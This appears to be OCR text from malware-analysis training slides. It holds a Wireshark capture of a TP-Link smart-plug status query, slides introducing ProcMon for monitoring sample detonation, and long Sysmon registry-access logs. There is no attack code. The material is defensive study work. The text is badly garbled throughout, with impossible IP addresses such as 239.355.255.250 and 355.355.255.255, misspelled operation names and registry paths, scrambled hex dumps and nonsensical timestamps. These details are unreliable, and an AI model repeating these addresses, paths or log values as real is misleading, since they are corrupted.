18 4.763276 192.168.0.1 239.355.255.250 S5DP 495 NOTIFY * HTTR/1.1
19 4.763755 192.168.0.1 239.355.255.250 S5DP 511 NOTIFY * HTTP/1.1
28 4.764260 192.168.0.1 239.355.255.250 S5DP 495 NOTIFY * HTTP/1.1
21 4.764743 192.168.0.1 239.255.255.250 ssDP 493 NOTIFY * HTTR/1.1
22 4.765196 192.168.0.1 239.255.255.250 ssDP 448 NOTIFY * HTTR/1.1
23 4.765670 192.168.0.1 239.255.255.250 ssDP 479 NOTIFY * HTTR/1.1
20 4.786150 192.168.0.1 239.255.255.250 ssoP 448 NOTIFY * HTTR/1.1
25 4.766637 192.168.0.1 239.255.255.250 ssoP 499 NOTIFY * HTTR/1.1
26 4.767169 192.168.0.1 239.255.255.250 ssoP 448 NOTIFY * HTTR/1.1
27 4.767612 192.168.0.1 239.255.255.250 SsOP 503 NOTIFY * HTTP/1.1
28 4.768066 192.168.0.1 239.255.255.250 SsOP 431 NOTIFY * HTTP/1.1
29 4.522216 192.168.9.25 239.255.255.250 SsOP 167 M-SEARCH * HTTP/1.1
38 5.775546 192.168.9.25 192.168.9.255 uop 86 57621 » 57621 Len=a4
v
< >
Destination: Broadeast (ff:ff:ff:ff:ff:ff) - FF £f f £f ff 11 32 19 4d 58 81 00 68 0@ 45 60 M E
Source: 34:19:4d:58:81:00 (34:19:4d:58:81:00) 00 56 4c 68 40 @0 40 11 2d 79 cb a8 88 8e ff ff  -VLh@-@ -y
e s MEES TS AT S
a e c ec 95 e
¥ Internet Protocel Version 4, Src: 192.168.0.14, Dst: 255.255.255.255 3 o 70 5 76 Bb a7 85 o 84 o8 90 9 8b 9 94
e1ee = Version: 4 8 ca ad c8 be e3 91 T4 95 79 8d ¢4 89 ec ce T4

@101 = Header Length: 28 bytes (5)
Differentiated Services Field: 8x88 (DSCP
Total Length: 86
Tdentification: Bx4c68 (19560)

818. .... = Flags: &x2, Don't fragment

© 0000 BG0O 0BOD = Fragment Offset: ©
Time to Live: 64
upe (17)
Header Checksum: @x2d79 [validation disabled]
[Header checksum status: Unverified]
192.168.0.14
355.355.255.255

Protocol

Source Address
Destination Address:
v User Datagram Protocol, Src Port
36521
Destination Port:
Length: &6
Checksum: @xf7ac
[Checksum Status:
[Stream index: 1]
[Timestamps]
UDP payload (58 bytes)
~ TP-Link Smart Home Protocol

Source Port
9999

[unverified]
Unverified]

36521, Dst Port

se, ECN

Not-ECT)

9999

Cnd: {"system":{"get_sysinfo":{}}, "emeter”:{"get realtime":{}}}

~ Javascript Object Notation
¥ object

~ Member: system
object
key: system
[Path: /system]

~ Member: emeter
object
key: emeter
[Path: /emeter]

7 wireshark_EthemetEISEI3.pcapng

8f f2 BF f2

| Frame(100bytes)  JSON Message (58 bytes)

Packets: 262 . Displayed: 262 (100.03) - Dropped: 0 (0.0%) Profile: Default



Dynamic Analysis: ProcMon

A Procmon, or Process Monitor, is
another Mark Russinovich creation

A Procmon provides a live feed of alll
processes and operations occurring
on your system

A Runningprocmon during sample
detonation allows for in-depth
process logging

A Procmonis very noisy by default,
and does require finetuning with
the extensive filtering system for
optimal results

Time ... Process Name

11:51:... "N~ Sysmonb4 exe
“B- SysmonBd.exe
“B- SysmonB4 exe
. 'B- Sysmonfd exe
Sysmonbd exe
Sysmon64.exe
Sysmon64d.exe
Sysmonb4 exe
Sysmonbd exe
Sysmon6d.exe
Sysmon64.exe
Sysmon64.exe
Sysmonb4 exe
Sysmonb4 exe
Sysmon6d.exe
"B Sysmon64 exe
W Sysmonfd exe
“B- Sysmonbd exe
“B- SysmonB4 exe
- Sysmonbd exe
"B Sysmon64 exe
W Sysmonfd exe
W~ Sysmonbd.exe
“B- SysmonB4 exe
B- Sysmonbd exe
"B Sysmon64 exe
"B Sysmon64 exe
W~ Sysmonbd.exe
Sysmonb4 exe
Sysmonbd exe
"B Sysmon64 exe
. "B+ SysmonB4 exe
W~ Sysmonbd.exe
“B- SysmonB4 exe
. 'B- Sysmonfd exe
"B Sysmon64 exe
.. "B+ Sysmon64 exe

PID  Cperation

3168 v ReadFile

3168 ' ReadFile

3168 [ RegQuenyKey
3163 [ RegOpenKey
3168 [ RegQueryKey
3168 [ RegOpenKey
3168 [ RegQuenyKey
3163 [ RegOpenKey
3168 [ RegSetInfoKey
3168 [ RegQueryKey
3168 [ RegOpenkey
3168 [ RegSetinfoKey
3168 [ RegQuenyValue
3168 m} RegCloseKey
3168 [ RegQueryKey
3168 [ RegOpenkey
3168 [ RegQuenyKey
3168 [ RegOpenKey
3168 [ RegQuenyValue
3168 [ RegQueryValue
3168 [ ReglueryValue
3168 ﬁ RegQuenyValue
3168 [ RegQuenyValue
3168 [ RegQuenyValue
3168 [ RegQuenyValue
3168 [ ReglueryValue
3168 ﬁ RegQuenyValue
3168 [ RegQuenyValue
3168 [ RegQuenyValue
3168 [ RegQuen/Value
3168 [ RegQueryValue
3168 m RegQuenyValue
3168 [ RegQuenyValue
3168 [ RegQuenyValue
3168 [ RegQuen/Value
3168 [ RegQueryKey
3168 [ RegOpenKey

Path

C\Windows \System 32 wintrust dll
C\Windows\System 32 \drivers\PROCMON24.5Y5

HKLM

HKLM"Saftware ' Policies Microsoft* SystemCentificates \Root'\Protected Roots

HKLM

HKLM"\Software"Policies ' Microsoft \SystemCertificates \Auth Root

HKLM

HKLM \Software \Microsoft \ Cryptography 0| D Encoding Type (NCert DliCreateCertificateChain Engine\Config

HKLMYSOFTWARE Microsoft\Cryptography 010 Encoding Type 0VCert DIICreateCentficateChainEngine \Caorfig

\Software\Microsoft \SystemCertificates Auth Root \Auto Update

WSOFTWARE \Microsoft ' SystemCertfficates \AuthRoot \Auto Update

WSOFTWARE \Microsoft\ SystemCertificates'\ AuthRoot \Auto Update '\ DisallowedCert SyncDelta Time
WSOFTWARE \Microsoft' SystemCertfficates\ AuthRoot '\ Auto Update

“Software"Policies\Microsoft\ SystemCertificates Root "\ Protected Roots

“Software'\Policies'\Microsoft*SystemCertificates \Chain EngineConfig
WSOFTWARE \Microsoft\Cryptography WO 1D
WSOFTWARE \Microsoft\Cryptography O 1D
WSOFTWARE \Microsoft\Cryptography O 1D
WSOFTWARE \Microsoft \Cryptography Q1D
WSOFTWARE \Microsoft\Cryptography 'O |0 Encoding Type 0'Cert DICreateCertificateChainEngine \Config',
WSOFTWARE \Microsoft \Cryptography 'O 1D
WSOFTWARE \Microsoft \Cryptography O 1D
WSOFTWARE \Microsoft \Cryptography Q1D
WSOFTWARE \Microsoft \Cryptography Q1D
WSOFTWARE \Microsoft \Cryptography O 1D
WSOFTWARE \Microsoft \Cryptography WO 1D
WSOFTWARE \Microsoft \Cryptography O 1D
WSOFTWARE \Microsoft \Cryptography Q1D
WSOFTWARE \Microsoft \Cryptography Q1D
WSOFTWARE \Microsoft \Cryptography 'O |0 Encoding Type 0'CertDIICreateCertificateChainEngine\Config,
WSOFTWARE \Microsoft \Cryptography WO 1D
WSOFTWARE \Microsoft \Cryptography O 1D
WSOFTWARE \Microsoft \Cryptography Q1D

WSOFTWARE \Microsoft \Cryptography O |0 Encoding Type 0NCet DIICreateCertificateChain Engine\Config™.

\EncodingType 0\Cert DIICreateCertficateChainEngine\Config',
\Encoding Type 0\Cert DIICreateCertificateChainEngine\Config\DisableC ANameConstraints
\Encoding Type 0"Cert DIICreateCertificateChainEngine'\Config'.Disable UnsupportedCritical Extensions
\Encoding Type 0\Cert DICreateCertificateChainEngine \Config ' MaxAlAUACount InCert

MaxAlAUdRetrievalCountPerChain

\EncodingType 0\Cert DiCreateCertificateChainEngine\ConfigMaxlssuerDepth

\Encoding Type 0\Cert DIICreateCertificateChain Engine\ConfigMaxPathCount PerChain
\EncodingType 0'\Cent DIICreateCentificateChainEngine\Corfig* Cryptnet Pre Fetch TriggerPerod Seconds
\Encoding Type 0\Cert DIICreateCertificateChainEngine\Config'.Enable Weak Signature Flags
\Encoding Type 0'\Cert DIICreateCertificateChainEngine\Config'.Min RsaPubKeyEBit Length
\Encoding Type 0\Cert DIICreateCertificateChain Engine\Caonfig !
\EncodingType 0'\Cent DICreateCentfficateChainEngine\Corfig Enable StrictChecksFlags

\Encoding Type 0'\Cert DICreateCertificateChainEngine\Config

\DisableMandatoryBasicConstraints

\Encoding Type 0\Cert DIICreateCertificateChainEngine\Config'.Max Ud Retrieval ByteCount

\EncodingType 0\Cert DICreateCentificateChainEngine\Config' Max Al AR Retrieval ByteCourt
\Encoding Type 0"\Cert DIICreateCertificateChainEngine\Config'.Max Al AU Retrieval CertCourt

\Encoding Type 0"\Cert DICreateCertificateChainEngine\Config . MaxVerfySignatureCount PerChain

'eak RsaPubKeyTime
ChainCache ResyncFiletime

\Default




Dynamic Analysis: ProcMon

B Process Monitor - Sysinternals: www.sysinternals.com

File Edit Event Filter Tools Options
rA

=1 = o K

Time Process Name PID  Operation

11:51:... W- Sysmonfd.exe 368 ‘= ReadFile

11:51:... W Sysmonfd.exe 3168 'w ReadFle

11:51:. . B- Sysmonbd exe 3168 ﬁﬂeg@uew}{ey

11:51.. Sysmon64 exe 3168 EE’RegOpenKey

11:51.. Sysmon64 exe 3168 ﬁﬂeg@uew}(ey

11:51.. Sysmon 64 exe 3168 ﬁRegOpenKey

1151 Sysmon64 exe 3168 [ RegQueryKey

11.51.... Sysmon6d.exe 3163 [ RegOpenkey

11:51:... W- Sysmonfd.exe 368 mF{egSetlnfoKey

Help

©l&sl # £

e =

Path

C:AWindows System 32 wintrust dll
CAWindows'\System 32 drivers'PROI
HKLM

HELM"Software\Policies ' Microsoft\S
HKLM
HELM"Software\Policies \Microsoft .
HKLM

HELM"Software \Microsoft \Cryptogra
HEKLMASOFTWARE \Microsoft \Cryptd

B Process Monitor Filter

Display entries matching these conditions:

>

Architecture ~||is ~ ~ | then |Include ~
Reset Add Remove
Column Relation Pction "
Procmaon.exe Exclude
Procexp exe Exclude
Autonuns exe Exclude
Procmon64.exe Exclude
Procexpbd exe Exclude

Process Monitor Column Selection

Select columns to appear in the Process Monitor window:

Application Details

Process Mame Description

[1Image Path [ version
Command Line [] Architecture

] Company Name

Event Details

[ Sequence Mumber Path

[JEvent Class Detail
Operation Result

[] Date &Time [] Relative Time
Time of Day []Duration

[ Category ] Campleticn Time

Process Management

[ User Name Process D
[] Session ID [ Thread ID
[] Authentication 1D [JParent PID
[ Integrity [ virtualized

Cancel

4 Event Properties - m] X
& Event 45 Process £ Stack
Image
Windows Explorer
¥ Microsoft Corporation
Name: Explorer.EXE
Version:  10.0.19041.1023 (WinBuild.160101.0800)
Path:
| CAWindows\Explorer EXE |
Command Line:
[ caWindows\Explorer EXE |
PID: 5800 Architecture:  64-bit
Parent PID: 5768 Virtualized: False
SessionID: 1 Integrity: Medium
User: DESKTOP-R30J1LQNAdmin
Auth ID: 00000000:0011b5%b
Started: 12/13/2025 11:35:57 AM Ended: (Running)
Modlules:
Medule Address Size Path Company Wersicn Timestamp &
sfe.dll Ox2fb0000 0x3000 C\Windows\system32\sfe.dll Microsoft Cor...  10.0.19041.546 ... 10/
7-zip.dil 0x 10000000 0x17000 CA\Program Files\7-Zip\7-zip.dll Igor Paviow 15.05 beta 6/14/2015 5:30:...
Explorer.EXE Ox7Ff741050000  Ox49d000 C\Windows\Explorer EXE Microsoft Cor..  10.0.19041.102...  11/4/2004 12:0...
provsve.dil Ox7ff8671a0000  Ox7d000 CAWindows\System32\provsve.dll  Microseft Cor.. 1007190411 (.. 12/6/1999 5:50:...
BthAvctpSve.dil  Ox7ff2923b0000  Ox66000 C\Windows\System32\BthAvctp..  Microsoft Cor..  10.0.19041.1 (.. 8/8/2021 10:23:...
WppRecorderU... 0x7ff80ag00000  0x7000 CAWindows\System32\WppReco... Microsoft Cor...  10.0.19041.1 (.. 2/26/1963 2
NPSMDesktopP... 0x7ff29a850000 038000 AWindows\System32\NPSMDes... Microsoft Cor...  10.0.19041.1 (.. 5/8/1959 7:04:
wercencpl.dil Ox7ff8a0b40000  OxdeD0D AWindows\System32\werconcp...  Microseft Cor.. 100190417 (..  9/10/1996 2:
WSCAPLAI Ox7Ff8a2790000  Ox4d000 AWindows\System32\WSCAPLdIl  Microsoft Cor...  10.0.19041.1 (.. 11/9/19551
msi.dll 0x7ff8a28d0000  Ox32d000 A\Windows\system32\msi.dll Microsoft Cor..  5.0.19041.1237 8/12/1944 3:17:...
ieframe.dil O 7ff8a5cf0000 0757000 \Windows\System32\ieframe.dll  Microsoft Cor..  11.00.19041.80..  10/12/1985
CloudExperienc... 0x7ff2a00d0000  0x55000 CAWindows\System32\CloudExp... Microsoft Cor...  10.0.19041.126..  6/23/19181
cdprt.dll Ox7ff8a8710000  Ox1bc000 CAWindows\System32\cdprt.dil Microsoft Cor.. 1000190411 (. 6/24/1922 8:56:..,
framedynos.dil  0x7ff32al%0000  0x52000 CAWindows\System32\framedyn... Microsoft Cor...  10.0.19041.108..  11/13/1939 11....
TaskFlowULdIl Ox7ff82ab00000  Ox214000 CAWindows\ShellComponents\T... 71271944 12:0...
gdiplus.dil Ox7ff82a%f0000  Ox1a%000 CA\Windows\WinSxS\amdf4_micr... Microsoft Cor...  10.0.19041.128..  4/18/1964 5:18:...
browcli.dll Ox7ff8b36e0000 (14000 C\Windows\SYSTEM32\browcelidll  Microseft Cor...  10.0.19041.1 (... 12/7/1973 B:25:...
UlRibbon.dll Ox7ff8b4580000  On3ecDOD C\Windows\system32\UIRibbon....  Microsoft Cor...  10.0.19041.1 (.. 1/20/1962 12:4...
smartscreenps.dil 0x7ff8b50e0000  0x52000 CA\Windows\System32\smartscre...  Microseft Cor..  10.0.19041.844 .. 3/10/2008 10:2
dfsclidll Ox7Ff8h5150000 015000 CAWindows\System32\dfscli.dll Microsoft Cor..  10.0.19041.1 (.. 8/7/194810:
Windows.FileEx... 0x7ff8b5410000 (x62000 C\Windows\System32\Windows.... Microseft Cor...  10.0.19041.1 (... 1/19/1959 3:
MLAMG.dIl Ox7ff8h54a0000  Ox42000 CAWindows\SYSTEM3Z\MLANG.dIl  Microsoft Cor...  10.0.19041.1 (.. 2/19/1960 6:
Windows.ULFil... 0x7ff8b5720000  (x49000 CAWindows\System32\Windows.... Microsoft Cor...  10.0.19041.120..  9/28/1928 2: .
MFPIat.DLL Ox7ff8h5c10000  Ox1bc000 CAWindows\SYSTEM32\MFPlat.D... Microsoft Cor...  10.0.19041.1 (...  7/15/1968 12:3... %
4 | B [CNext Highlighted Copy Al
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Time ... Process Name PID Operation Paih Result Detal Description Command Line

151 W Sysmon6dexe 3168 [ RegCloseKey HKU\ DEFAULT Software\ Poliies\ Microsot\SystemCertficates \Disallowed: Cerificates SUCCESS System acivity moritor C\Windows\Sysmon# exe
151 3168 [B RegQueryKey HKU\ DEFAULT\Software\ Policies' Microsoft\SystemCartficates \Disalowed SUCCESS Cuery: Handle Tags, Handle Tags: 00 System activity monitor C:\Windows\Sysmon64 exe
151 3168 ﬁﬂegfﬁma\e}(&y HKU\. DEFAULT"Software\ Folicies'\Microsoft \ SystemCertificates \Disallowed\CRLs SUCCESS Desired Access: Read/Write, Delete, Disposition: REG_OPENED_EXISTING.. System activity monitor C\Windows\Sysmon64 exe
1151 3168 [B RegQuenyKey HKU\ DEFAULT\Software Policies\ Microsoft\SystemCertficates\Disallowed\CRLS SUCCESS Guery: Cached, SubKeys: 0, Vaues: 0 System activity moritor C:\Windows)\Sysmon64 exe
1151 3168 [ ReoQueryKey HKU\ DEFAULT\Software" Policies\ Microsoft\SystemCertficates\Disallowed'CRLs SUCCESS Query: Cached, SubKeys: 0, Values: 0 System acivity moritor C:\Wiindows \Sysmenbé exe
1151 3168 [B ReqClosekey HKU\ DEFAULT\Software\ Polices\ Microsoft\SystemCartficates \Disalowed\CRLs SUCCESS System activty mornitor C:\Windows\Sysmonbd exe
151, 3168 [B RegQuenyKey HKU\ DEFALILT\Software\Policies\Microsoft\SystemCertficates \Disalowed SUCCESS Guery: HandleTags, HandleTags: 0«0 System activity menitor C:Wiindows \Sysmen64 exe
1151 3168 [ RecCreatekey HKU\ DEFAULT\Software' Policies' Microsoft\SystemCertficates\Disallowed'CTLs SUCCESS Desired Access: Read/Wrte, Delete, Dispostion: REG_OPENED_EXISTING...System activity moritor C\Windows\Sysmon# exe
1151 Sysmondexe 3168 [B RegQueryKey HKU\. DEFAUILT Scftware" Polcies \Microsoft\SystemCerficates\Disallowed'CTLs SUCCESS Guery: Cached, SubKeys: 0, Values: 0 System activity monitor C\Windows\SysmonBé exe
1151 Syemonbdene 3168 [ RegQuenyKey HKU\ DEFAULT \Software\ Policies\ Microsoft SystemCartficates \Disallowed'CTLs SUCCESS Guery: Cached, SubKeys: 0, Values: 0 System activty monitor C:\Windows'Sysmoné4 exe
1151, W Sysmon6dexe 3168 [ RegCloseKey HKU\ DEFALILT\Scftware\Policies\ Microsoft\SystemCertficates \Disallowed'CTLs SUCCESS System activity menitor C:Wiindows \Sysmen64 exe
1151 3168 [ ReaCloseKey HKU\ DEFAULT\Software" Policies' Microsoft\SystemCertficates \Disalowed SUCCESS System activity moritor C:\Wiindows \Sysmenbé exe
151 3168 [B RegQueryKey HKLM SUCCESS Cuery: Handle Tags, Handle Tags: 00 System activity monitor C:\Windows\Sysmon64 exe
1151 3168 [ RegOpenkey HKLI \SystemCertiicates\Di e NAME NOT FOUND Desired Access: Read System activity monitor C:\Wilindows\Sysmon64 exe
1151 3168 [B RegQuenyKey HKLM SUCCESS Guery: HandleTags, HandleTags: 0«0 System activity mornitor C:\Windows)\Sysmon64 exe
1151 3168 [ ReaCreatekey HKLM:Software \Microsoft'SystemCetficates\Disalowed SUCCESS Desired Access: Read/Wte, Delete, Dispostion: REG_OPENED_EXISTING...System activity moritor C:\Windows Sysmenté exe
1151 3168 [B ReqClosekey HKLM\SOFTWARE \Microsoit' SystemCertficates\Disalowed SUCCESS System activity moritor C:\Windows\Sysmonbd exe
151, 3168 [B RegQuenyKey HKLM SUCCESS Guery: HandleTags, HandleTags: 0«0 System activity menitor C:Wiindows \Sysmen64 exe
1151 3168 [ ReaOpenKey HKLMY Policies \icrosoft'SystemCertficats Ublisher' Safer NAME NOT FOUND Desired Access: Read System activity moritor C\Windows\Sysmon# exe
1151 Sysmondexe 3168 [B RegQueryKey HKU SUCCESS Guery: Handle Tags, Handle Tags: 0x0 System aclvity moritor C\Windows\SysmonBé exe
1151 Sysmonbdene 3168 [ ReqOpenkey HKU\S-1-5-13 REPARSE Desired Access: Maxmum Alowed System activty monitor C:\Windows'Sysmoné4 exe
1051 W SysmonGdexe 3168 [ RegOpenKey HKU\DEFAULT SUCCESS Desired Access: Masimun Alowed, Granted Access: Al Access System activity menitor C:Wiindows \Sysmen64 exe
1151 3168 [ ReoQueryKey HKU\DEFAULT SUCCESS Guery: Handle Tags, Handle Tags: 0x0 System activity moritor C:\Wiindows \Sysmenbé exe
151 3163 [B Regpenkey HKU\ DEFAULT s i SystemCertficates NAME NOT FOUND Desired Access: Read System activity monitor C:\Windows\Sysmon64 exe
151, 3163 [B RegCloseKey HKU\DEFAULT SUCCESS System activty menitor C:Wiindows \Sysmen64 exe
1151 3168 [B RegQuenyKey HKLM SUCCESS Guery: HandleTags, HandleTags: 0«0 System activity moritor C:\Windows)\Sysmon64 exe
1151 3168 [ ReaOpenKey HKL SystemCertficates\ isher'Safer NAME NOT FOUND Desired Access: Read System activity monitor C:\Windows Sysmenté exe
1151 3168 [B RegQueryKey HKLM SUCCESS Cuery: HandleTags, Handle Tags: 0x0 System activty mornitor C:\Windows\Sysmonbd exe
151:.. 3168 [B RegCreateKey HIKLM:Saftware \Vicraseft\SystemCentficates\Disalowed SUCCESS Desired Access: Read/Wrte, Delete, Dispostion: REG_OPENED_EXISTING...System activiy moritor C:Wiindows \Sysmen64 exe
1151 3163 [ ReQueryKey HKLM\SOFTWARE MicrosotSystemCetficates:Disalloned SUCCESS Guery: Handle Tags, Handle Tags: 0x0 System activity moritor C\Windows\Sysmon# exe
1151 Sysmonbdexe 3163 [B Regpenkey HKLM\SOFTWARE \Microsoft\SystemCertficates\Disalowed SUCCESS Desired Access: Read System aclvity moritor C\Windows\SysmonBé exe
1151 Syemonbdee 3168 [ RegQuenyKey HKLM\SOFTWARE \Microsoit' SystemCertficates\Disalowed SUCCESS Guery: HandleTags, HandleTags: 00 System activty monitor C:\Windows'Sysmoné4 exe
1051, W Sysmon6dexe 3168 [ RegCreateKey HKLM\SOFTWARE \Microsoft\SystemCertficates\Disalowed\Certficates SUCCESS Desired Access: Read/Wrte, Delete, Dispostion: REG_OPENED_EXISTING...System activiy moritor C:Wiindows \Sysmen64 exe
151 3168 [ RecQueryKey HKLM\SOFTWARE \Microsoft\SystemCertficates\ Disallowed" Certficates SUCCESS Query: Cached, SubKeys: 0, Values: 0 System activity moritor C:\Wiindows \Sysmenbé exe
1151 3168 [B RegQueryKey HKLM\SOFTWARE \Microsot\SystemCertficates\Disalowed"Certficates SUCCESS Cuery: Cached, SubKeys: 0, Values: 0 System activty mornitor C:\Windows\Sysmonbd exe
151, 3163 [B RegClaseKey HKLM\SOFTWARE \Microsoft\System Certficates\Disalowed Certficates SUCCESS System activty menitor C:Wiindows \Sysmen64 exe
1151 3168 [B RegQuenyKey HKLM\SOFTWARE \Microsaft\SystemCertficates\Disalowed SUCCESS Guery: HandleTags, HandleTags: 0«0 System activity moritor C:\Windows)\Sysmon64 exe
1151 3163 [B RegCreateKey HKLM\SOFTWARE \Microsoft\SystemCertficates\Disalowed\CRLs SUCCESS Desired Access: Read/Wte, Delete, Dispostion: REG_OPENED_EXISTING...System activity moritor C\Windows\SysmonBé exe
1151 3168 [B ReqQueryKey HKLM\SOFTWARE \Microsot\SystemCertficates\Disalowed\CRLs SUCCESS Cuery: Cached, SubKeys: 0, Values: 0 System activity moritor C:\Windows\Sysmonbd exe
1051 W Sysmon64exe 3168 [ RegQuenKey HKLM\SOFTWARE \Microsoft\SystemCentficates\Disalowed\CRLs SUCCESS Query: Cached, SubKeys: 0, Vaues: 0 System activity menitor C:Wiindows \Sysmen64 exe
1151 Sysmon64.exe 3168 [B RegCloscKey HKLM\SOFTWARE \Microsoft\SystemCertficates\ Disalowed\CRLs SUCCESS System activity moritor C\Windows\Sysmon# exe
1151 Sysmonbdexe 3168 [B RegQueryKey HKLM\SOFTWARE \Microsoft\SystemCertficates\Disalowed SUCCESS Cuery: Handle Tags, Handle Tags: 00 System activity monitor C:\Windows\Sysmon64 exe
1151 Syemonbdee 3168 [ ReaCreateKey HKLM\SOFTWARE \Microsoit' SystemCertficates\ Disalowed CTLs SUCCESS Desired Access: Read/Wite, Delete, Dispostion: REG_OPENED_EXISTING...System activiy monitor C:\Windows'Sysmoné4 exe
1051 W Sysmon64exe 3168 [ RegQuenKey HKLM\SOFTWARE \Microsoft\SystemCertficates\Disaloned\CTLs SUCCESS Query: Cached, SubKeys: 1, Vaues: 0 System activty menitor C:Wiindows \Sysmen64 exe
151 HKLM\SOFTWARE Wicrosot'SystemCetficates Disalloned'\CTLs SUCCESS Query: Cached, SubKeys: 1. Values: 0 System activity moritor C:\Wiindows \Sysmenbé exe
1151 HKLM\SOFTWARE \Microsoit' SystemCertficates\Disalowed CTLs SUCCESS Index: 0, Neme: 27748143BBEG7A43C DBFEC6CI784362CE 134EGEA System activity moritor C\Windows\SysmonGé exe
151, HKLM\SOFTWARE \Microssft\SystemCertficates'Disallowed \CTLs SUCCESS Guery: HandleTags, HandleTags: 0«0 System activty menitor C:Windows\Sysmoné exe
1151 HKLM\SOF TWARE Microsoit\SystemCatficates\ Disallowed\CTLs\27748148BBEG7A43CDBFECEC 378486 2CE 134E6EA SUCCESS Desired Access: Read System activity moritor C\Windows \SysmonG# exs
1151 3163 [B RegQuenyValue HKLM\SOF TWARE \Microsoft'SystemCertficates' Disallowed\CTLs\277481 48BBEG 7A43CDBFECEL 378486 2CE 134E6EA\Blob BUFFER OVERFLOW Length: 12 System activity monitor C\Windows\SysmonBé exe
1151 Sysmon6dexe 3168 [ RegQuenyValue HKLM\SOFTWARE Microsoft'SystemCerticates\Disallowed\CTLs\277481 48BBEG7A43CDBFECAC 378486 2CE134E6EA\Blob BUFFER OVERFLOW Length: 144 System activity moritor C:\Windows\Sysmonbd exe
1151 W Sysmon64exe 3168 [ RegQuenValue HKLM\SOF TWARE MicrosaitSystemCetticates\ Disallowed\CTLs\277481488BEG 7A43CDBFECEC 3784862CE 134E6EA\Blch SUCCESS Type: REG_BINARY, Length: 598, Data: 03 00 00 000100 0100 14 00 00 ... System activty menitor C:Wiindows \Sysmen64 exe
1151 Sysmon64.ene 3168 [B RegCloscKey HKLM\SOF TWARE Microsot\SystemCetficates' Disallowed\CTLs\27748148BBEG 7A43CDBFECEC 378486 2CE134E6EA SUCCESS System activity moritor C\Windows\Sysmon# exe
1151 Sysmon6dexe 3168 [B RegClosekey HKLM\SOFTWARE \Microsoft\SystemCertficates\Disalowed CTLs SUCCESS System activity monitor C:\Windows\Sysmon64 exe
1151 Sysmonbdee 3168 [ ReqClosekey HKLM\SOFTWARE \Microsoit' SystemCertficates\Disalowed SUCCESS System activty monitor C:\Windows'Sysmoné4 exe
1151 Sysmonbdexe 3168 [ RegQuenKey HKLM SUCCESS Guery: HandleTags, HandleTags: 0«0 System activity moritor C:\Windows)\Sysmon64 exe
1151 3168 [ ReaCreatekey HKLIM"Software'\Policies \Microsoft\SystemCertficates\Disalowed SUCCESS Desired Access: Read/Wte, Delete, Disposion: REG_OPENED_EXISTING...System activity moritor C:\Wiindows \Sysmenbé exe
1151 3168 [B RegQueryKey HKLM\SOFTWARE \Folicies \Microsoit'SystemCertficates\ Disalowed SUCCESS Cuery: HandleTags, Handle Tags: 0x0) System activty moritor C:\Windows\Sysmonbd exe
151, 3163 [B RegCreateKey HKLM\SOFTWARE Falcies \Microsoft System Certficates\Disalowed Certficates SUCCESS Desired Access: Read/Wrte, Delete, Dispostion: REG_OPENED_EXISTING. .. System activiy moritor C:Wiindows \Sysmen64 exe
1151 3168 [B RegQueryKey HKLM\SOFTWARE \Polcies \Microsot:SystemCertficates\ Disallowed" Certficates SUCCESS Guery: Cached, SubKeys: 0, Values: 0 System activity moritor C:\Windows\Sysmonb4 exe
1151 3168 [B RegQuerykey HKLM\SOFTWARE Policies \Microsot:SystemCertficates\ Disallowed" Certficates SUCCESS Guery: Cached, SubKeys: 0, Values: 0 System aclvity moritor C\Windows\SysmonBé exe
1151 3163 [B ReqClosekey HKLM\SOFTWARE\Folcies \MicrosoitSystemCertficates\Disallowed" Certficates SUCCESS System activty moritor C:\Windows\Sysmonbd exe
151:.. 3168 [B RegQuenyKey HKLM\SOFTWARE \Palicies \Microsoft\SystemCenficates\Disaloned SUCCESS GQuery: HandleTags, HandleTags: 0:0 System activity menitor C:Wiindows \Sysmen64 exe
1151 3168 [ RecCreatekey HKLM\SOFTWARE Polcies \Microsolt System Certficates' Disalloned'CRLs SUCCESS Desired Access: Read/Wrte, Delete, Dispostion: REG_OPENED_EXISTING...System activity moritor C\Windows\Sysmon# exe
151 Sysmon6dexe 3168 [B RegQueryKey HKLM\SOFTWARE \Polcies \MicrosotSystemCertficates\Disalowed\CRLs SUCCESS Cuery: Cached, SubKeys: 0, Values: 0 System activity moritor C:\Windows\Sysmon64 exe
1151 Sysmonédexe 3168 [ ReglueryKey HKLM\SOFTWARE Folicies \Microsoft SystemCertficates \Disallowed \CRLs SUCCESS Query: Cached, SubKeys: 0, Values: 0 System activity monitor C:\Wilindows\Sysmon64 exe
1151 Sysmon6dexe 3168 [B RegClosekey HKLM\SOFTWARE \Polcies\Microsoft\SystemCertficates\Disalowed\CRLS SUCCESS System activity moritor C:\Windows)\Sysmon64 exe
1151 HKLM\SOFTWARE Policies \MicrosoftSystemCertficates\ Disalowed SUCCESS Query: Handle Tags, Handle Tags: 0x0 System acivity moritor C:\Wiindows \Sysmenbé exe
1151 HKLM\SOFTWARE \Folicies \Microsoit'SystemCentficates\Disalowed CTLs SUCCESS Desired Access: Read/Wite, Delete, Dispostion: REG_OPENED_EXISTING...System activty moritor C:\Windows\Sysmonbd exe
151, HKLM\SOFTWARE \Palicies \Microsoft SystemCentficates \Disaloned CTLs SUCCESS Cuery: Cached, SubKeys: 0, Vaues: 0 System activity menitor C:Windows \Sysmoné exe
1151 HKLM\SOFTWARE \Policies \MicrosoftSystemCertficates\ Disaloned CTLs SUCCESS Guery: Cached, SubKeys: 0, Values: 0 System activity moritor C\Windows\Sysmon# exe
1151 HKLM\SOFTWARE \Policies \Microsoft' SystemCertficates\Disaloned CTLs SUCCESS System aclvity moritor C\Windows\SysmonBé exe
1151 3168 [B ReqClosekey HKLM\SOFTWARE \Folicies \Microsoit' SystemCentficates\ Disalowed SUCCESS System activty monitor C:\Windows'Sysmoné4 exe
1051 W Sysmon64exe 3168 [ RegQuenkey HKLM SUCCESS GQuery: HandleTags, HandleTags: 0<0 System activity menitor C:Wiindows \Sysmen64 exe
1151 Sysmon64.exe 3168 [Bf RegOpenkey HKLMY EntempriseCertiicates\D NAME NOT FOUND Desired Access: Read System activity moritor C\Windows\Sysmon# exe
151 Sysmon6dexe 3168 [B RegQueryKey HKLM SUCCESS Cuery: Handle Tags, Handle Tags: 0x0 System activity monitor C:\Windows\Sysmon64 exe
1151 Sysmonédexe 3168 [ RegCreateKey HKLMSoftware\Microsoft\EnterpriseCertificates \Disallowed SUCCESS Desired Access: Read/Wirie, Delete, Disposition: REG_OPENED_EXISTING... System activity moritor C:Wilindows\Sysmon64 exe
1151 Sysmondexe 3168 [B RegClosekey HKLM\SOFTWARE \Microsoft\Enterprise Certficates\Disallowed SUCCESS System activity moritor G \Windeys\Sysmon64 exe
